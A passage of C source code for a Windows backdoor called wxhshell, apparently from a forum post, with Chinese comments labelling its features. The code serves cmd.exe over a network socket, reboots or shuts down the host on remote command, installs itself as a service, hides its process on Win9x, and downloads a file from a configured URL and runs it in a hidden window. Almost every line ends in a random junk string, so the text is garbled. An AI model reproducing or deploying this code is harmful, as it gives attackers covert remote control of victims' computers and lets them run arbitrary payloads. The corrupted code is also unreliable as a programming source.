    break; 1MsWnSvzf  
  } V~MiO.B  
  // 安装 4R%*Z ~  
  case 'i': { t@oK~ Nr  
    if(Install()) 4'pS*v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 10[Jl5+t  
    else OKOu`Hz@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SkNre$>t{  
    break; 1^J`1  
    } Tpp&  
  // 卸载 m`? MV\^  
  case 'r': { \,UZX&ip  
    if(Uninstall()) 0[A9b,MMVO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9%)=`W  
    else #C*8X+._y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w)] H ^6  
    break; h~Q)Uy5N(D  
    } +#J,BKul  
  // 显示 wxhshell 所在路径 VObrlOkp  
  case 'p': { 2GmpCy`L"  
    char svExeFile[MAX_PATH]; q~K(]Ya/  
    strcpy(svExeFile,"\n\r"); a?5[k}\  
      strcat(svExeFile,ExeFile); ?NNn:tiD  
        send(wsh,svExeFile,strlen(svExeFile),0); R5_i15<  
    break; KGHq rc  
    } [&S}dQ"  
  // 重启 =4!nFi  
  case 'b': { >k7q g$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g|<Sfp+;+  
    if(Boot(REBOOT)) )x,8D ~p'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tsb{25`+  
    else {  r}_c  
    closesocket(wsh); lb' Cl3H  
    ExitThread(0); ^D67y%  
    } 2 -!L _W(  
    break; VxO%rq3  
    } tCF&OOI4`  
  // 关机 vdoZ&Tu  
  case 'd': { v0*N)eqDGd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rd|uz4d  
    if(Boot(SHUTDOWN)) ni&*E~a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G`=r^$.3WB  
    else { 2Nc>6  
    closesocket(wsh); YMpf+kN  
    ExitThread(0); w]j+9-._  
    } '8FC<=+p[  
    break; f,i5iSYf  
    } XV>JD/K2  
  // 获取shell qUF'{K   
  case 's': { 0Rxe~n1o  
    CmdShell(wsh); #:fQ.WWO  
    closesocket(wsh); iGXI6`F"  
    ExitThread(0); 7iC *Pr  
    break; +';>=hha  
  } Nf,Z;5e  
  // 退出 =(AtfW^H  
  case 'x': { &7?R+ZGo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6&v? )o  
    CloseIt(wsh); DLE8+NV8   
    break; V% TH7@y  
    } l":c  
  // 离开 OIb  
  case 'q': { }7<5hn E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 01a-{&   
    closesocket(wsh); d?idTcgs  
    WSACleanup(); TrVWv  
    exit(1); uw\1b.r'B  
    break; 6w3R'\9  
        } K2_Qu't0$  
  } <{(/E0~V/<  
  } }SyxPXs  
>/f_F6ay#  
  // 提示信息 k ^'f[|}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1a0kfM$  
} wVs.Vcwr  
  } l kIn%=Z  
UK#&lim  
  return; %bXx!x8(  
} 5vzceQE}  
10Wz,vW,n  
// shell模块句柄 5}ie]/[|  
int CmdShell(SOCKET sock) =%)+%[wv  
{ _gNz9$S  
STARTUPINFO si; 0x2!<z  
ZeroMemory(&si,sizeof(si)); YEu1#N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "e3["'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $>M<j  
PROCESS_INFORMATION ProcessInfo; l2%bF8]z  
char cmdline[]="cmd"; f67NWFX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0X2@CPIFf  
  return 0; dGfVZDsr]  
} MjfFf} @  
%b.UPS@I  
// 自身启动模式 TOF '2&H  
int StartFromService(void) B DY}*cX  
{ Z!xVgM{  
typedef struct :m=m}3/:  
{ c47")2/yO  
  DWORD ExitStatus; .V9e=yW!*  
  DWORD PebBaseAddress; +Z2MIC|Ud  
  DWORD AffinityMask; r5&I? 0   
  DWORD BasePriority; U7mozHS,:9  
  ULONG UniqueProcessId; 4Q=ftY<  
  ULONG InheritedFromUniqueProcessId; .UCt|> $  
}   PROCESS_BASIC_INFORMATION; XALI<ZY  
3b'tx!tFN  
PROCNTQSIP NtQueryInformationProcess; F-(dRSDNM  
jcCoan  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?8dVH2W.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rR ES8/  
fa* Cpt:  
  HANDLE             hProcess; 6}~pq1IF{  
  PROCESS_BASIC_INFORMATION pbi; a^qNJ?R !  
iVtl72O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AEmNHO@%q  
  if(NULL == hInst ) return 0; kID[#g'  
HC {XX>F^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P27%xV-n>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1:C:?ZC#c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4Ph0:^i_  
ukgAI<O%  
  if (!NtQueryInformationProcess) return 0; =+5,B\~q@C  
U8#xgz@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A % Q!^d  
  if(!hProcess) return 0; foF19_2 ,  
{s?M*_{|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .%EL\2  
C#rc@r,F  
  CloseHandle(hProcess); Mpue   
h[KvhbD3   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lA!"z~03*  
if(hProcess==NULL) return 0; pD"vRbYF  
#BVtL :x@  
HMODULE hMod; %z]U LEYrZ  
char procName[255]; h<<>3A  
unsigned long cbNeeded; m .IU ;cR  
cHA7Kg !  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rj ]F87"  
eO=s-]mk  
  CloseHandle(hProcess); |!|^ v  
mM.*b@d-  
if(strstr(procName,"services")) return 1; // 以服务启动 DF]9@{  
A$0H .F>  
  return 0; // 注册表启动 }K1 0Po'  
} 'XQ`g CF=  
]  H~4  
// 主模块 a ?} .Fs  
int StartWxhshell(LPSTR lpCmdLine) 0|xIBg)  
{ %t=kdc0=_  
  SOCKET wsl; p;)"  
BOOL val=TRUE; $w)~O<_U  
  int port=0; s..lK "b  
  struct sockaddr_in door; 1Q;}z Hd  
_8fr6tO+  
  if(wscfg.ws_autoins) Install();  UsGa  
~0$NJrUy  
port=atoi(lpCmdLine);  mvW%  
Tm^89I]L  
if(port<=0) port=wscfg.ws_port; $CTSnlPq  
o56`  
  WSADATA data; q/3ziVd7p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m p<1yY]  
@WH@^u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^2d!*W|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'ckQg=zPR  
  door.sin_family = AF_INET; !g~1&Uw1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !Bz0^ 1,L  
  door.sin_port = htons(port); 1XG!$ 4DW  
ELrsx{p:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { { pu85'DV  
closesocket(wsl); V$0dtvGvH  
return 1; 5vo.[^ty  
} kP#e((f,  
d\e7,"L*Q  
  if(listen(wsl,2) == INVALID_SOCKET) { wIkN9 f  
closesocket(wsl); {NpM.;  
return 1; tH=P6vY  
} *"9><lJ-!  
  Wxhshell(wsl); =_j vk.  
  WSACleanup(); ob+euCuJ  
Q 4CjA3  
return 0; *5tO0_L  
\ w3]5gJZ  
} I%|>2}-_U  
pEECHk  
// 以NT服务方式启动 =4GSg1Biy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N@B9 @8h  
{ TJE\A)|>g  
DWORD   status = 0; j4=(H:c~E  
  DWORD   specificError = 0xfffffff; Q1V9PRZX  
V"cKJ;s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u3Gjg{-N7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +_-bJo2a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9rh}1eo7  
  serviceStatus.dwWin32ExitCode     = 0; !lo/xQ<  
  serviceStatus.dwServiceSpecificExitCode = 0; MX@IHc  
  serviceStatus.dwCheckPoint       = 0; 5s(1[(  
  serviceStatus.dwWaitHint       = 0; 0"~i ^   
d[rv1s>i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lRh9j l  
  if (hServiceStatusHandle==0) return; )M2F4[vcb  
Spt ? >sm  
status = GetLastError(); o1nURJ!  
  if (status!=NO_ERROR) V I% 6.6D  
{ |bgo;J/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5nbEf9&  
    serviceStatus.dwCheckPoint       = 0; [w ;kkMJAy  
    serviceStatus.dwWaitHint       = 0; `6+"Z=:  
    serviceStatus.dwWin32ExitCode     = status; \"hJCP?,  
    serviceStatus.dwServiceSpecificExitCode = specificError; fhB}9i^]tg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CdL< *AH  
    return; vq34/c^  
  } Cu6%h>@K$  
DBP9{ x$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iiK]l   
  serviceStatus.dwCheckPoint       = 0; ON+J>$[[  
  serviceStatus.dwWaitHint       = 0; m,fAeln  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^pHq66d%Z  
} 1?Z4 K /  
kQ]$%Lk[  
// 处理NT服务事件,比如:启动、停止 s(W|f|R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cu+FM  
{ P;4w*((} ~  
switch(fdwControl) 3G kv4,w<  
{ 6Aocm R0D'  
case SERVICE_CONTROL_STOP: Y))NK'B5  
  serviceStatus.dwWin32ExitCode = 0; \6\<~UX^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y( y8+ZT  
  serviceStatus.dwCheckPoint   = 0; bJs9X/E  
  serviceStatus.dwWaitHint     = 0; DK}"b}Fvq  
  { ;J7F J3n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5atYOep  
  } ~K@'+5Pc  
  return; L@fY$Rw  
case SERVICE_CONTROL_PAUSE: {s;U~!3aY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R LD`O9#j  
  break; n?V+dC=F}  
case SERVICE_CONTROL_CONTINUE: _o8 ?E&d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <I;2{*QI2  
  break; P9 Z}H(?C  
case SERVICE_CONTROL_INTERROGATE: 4WK3.6GN  
  break; 9?k_y ZV  
}; #KO,~]k5|e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i&n'N8D@  
} 0 iJue &  
j1(D]Z=\  
// 标准应用程序主函数  Tgl}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /7 Cn(s5o  
{ =z8f]/k*>  
+]Y,q w  
// 获取操作系统版本 9+pmS#>_  
OsIsNt=GetOsVer(); )rixMl &[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,UuH}E  
V(E/'DR  
  // 从命令行安装 fj&i63?e  
  if(strpbrk(lpCmdLine,"iI")) Install(); W | o'&  
+$Rt+S BD  
  // 下载执行文件 \nP>:5E1  
if(wscfg.ws_downexe) { Sf r&p>{,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y a_<^O 9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nr=d<Us9f  
} =lpQnj"  
FKmFo^^0  
if(!OsIsNt) { % $DI^yS  
// 如果时win9x,隐藏进程并且设置为注册表启动 )K2HK&t:  
HideProc(); F,'exuZ  
StartWxhshell(lpCmdLine); b3VS\[p  
} -! K-Htb-  
else /S lYm-uQ+  
  if(StartFromService()) 1PatH[T[  
  // 以服务方式启动 of@#:Qs  
  StartServiceCtrlDispatcher(DispatchTable); c}0@2Vf  
else ,f&5pw =  
  // 普通方式启动 [2Ud]l:6E  
  StartWxhshell(lpCmdLine); ;{[.Zu  
y.Z?LCd<  
return 0; fS`$'BQ  
}
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只看该作者 1 发表于: 2006-10-10
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